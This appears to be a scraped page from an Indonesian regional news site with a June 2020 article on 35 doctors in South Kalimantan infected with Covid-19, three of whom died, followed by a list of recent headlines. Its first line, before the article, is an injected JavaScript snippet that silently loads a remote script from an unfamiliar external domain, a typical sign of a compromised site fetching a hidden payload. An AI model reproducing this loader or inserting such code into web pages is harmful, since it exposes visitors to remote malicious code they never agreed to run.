(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

IDI Kalsel Catat 35 Dokter Terpapar Covid-19, Tiga Meninggal Dunia


KANALKALIMANTAN.COM, BANJARMASIN – Jumlah kasus positif Covid-19 di Kalimantan Selatan nyaris menembus angka tiga ribu kasus, per Kamis (25/6/2020) tercatata 2.835 kasus.

Dokter menjadi garda terdepan penanganan Covid-19 yang paling rentan terpapar virus corona karena langsung bersentuhan dengan pasien ataupun mereka yang datang ke fasilitas layanan kesehatan.

Ditemui di RSUD Ulin Banjarmasin, Jumat (26/6/2020) siang, Ketua Ikatan Dokter Indonesia (IDI) Kalsel dr M. Rudiansyah SpPD mengungkapkan, hingga kini diprediksi ada 35 dokter di Provinsi Kalsel yang sudah positif terkonfirmasi Covid-19.

“Bahkan ada dua orang dokter yang meninggal dunia. Barusan kemarin satu dokter meninggal dari Kotabaru. Jadi dokter yang meninggal dunia akibat Covid-19 ini ada tiga orang,” kata Rudiansyah.

Dari tiga dokter yang meninggal dunia tersebut, dua diantaranya adalah dokter spesialis dari Kota Banjarmasin. Yaitu dr Hasan Zain SpP seorang dokter spesialis paru-paru dan dr Heru Prasetya SpPD seorang dokter spesialis penyakit dalam.

Ia menambahkan, dari 35 dokter yang terpapar Covid-19, beberapa diantaranya telah dinyatakan sembuh. Sebagian lagi masih menjalani isolasi mandiri.

“Kita harapkan mereka semoga cepat membaik,” imbuh Rudiansyah.

Dokter spesialis penyakit dalam ini menambahkan, sebagian besar dokter-dokter yang terpapar Covid-19 ini saat memberikan pelayanan kesehatan di rumah sakit maupun di Puskesmas. Baik yang masih menjalani isolasi mandiri maupun yang telah sembuh.

“Dari fasilitas pelayanan kesehatan kebanyakan. Jadi hampir di Puskesmas di Banjarmasin cukup banyak baik yang terpapar maupun yang survive,” ucap Rudiansyah.

Tentunya, dengan adanya dokter yang terpapar Covid-19, menandakan bahwa virus ini dapat menyerang siapa saja. Tak terkecuali dokter yang berada di garda terdepan melawan Covid-19.

“Ini juga menjadi cacatan kami bahwa Covid-19 tidak hanya menyerang masyarakat. Namun juga tenaga medis yang berisiko. Karena kita berhadapan langsung dengan mereka-mereka di lapangan,” lugas Rudiansyah.

Rudiansyah menambahkan, dokter-dokter yang terpapar Covid-19 sebagian besar menjalani isolasi mandiri. Gejala Covid-19 yang dialami pun masih gejala ringan maupun sedang. “Sebagian isolasi di rumah, sebagian lagi di rumah sakit,” ucapnya. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

 


Al Ghifari

Recent Posts

21 Mei: Sejarah Hari Peringatan Reformasi nasional

KANALKALIMANTAN.COM - Hari Reformasi Nasional diperingati setiap 21 Mei, menjadi momen pengingat seluruh masyarakat Indonesia… Read More

4 jam ago

Syarat Dukungan Ditolak, Bakal Calon Perseorangan Pilwali Banjarmasin Ajukan Sengketa ke Bawaslu

KANALKALIMANTAN.COM, BANJARMASIN - Di awal tahapan Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin… Read More

14 jam ago

ETLE Segera Terpasang di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah titik krusial pelanggaran lalu lintas dan kerawanan kecelakaan lalu lintas menjadi… Read More

15 jam ago

Dinas PUPR Kalsel Gelar Bimtek Pengelolaan Air Limbah

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel mengadakan kegiatan Bimbingan… Read More

15 jam ago

Rekomendasi Partai Tak Pasti, Jaya-Abdi Siap Jadi Penantang Petahana Aditya-Yuti

Jaya : Penantang Bisa Lebih dalam Mengevaluasi Kinerja Petahana Read More

16 jam ago

Lima Jabatan di Polres Banjarbaru Rotasi, 12 Personel Terima Penghargaan Kapolda

KANALKALIMANTAN.COM, BANJARBARU - Lima jabatan yang diisi para perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

17 jam ago

This website uses cookies.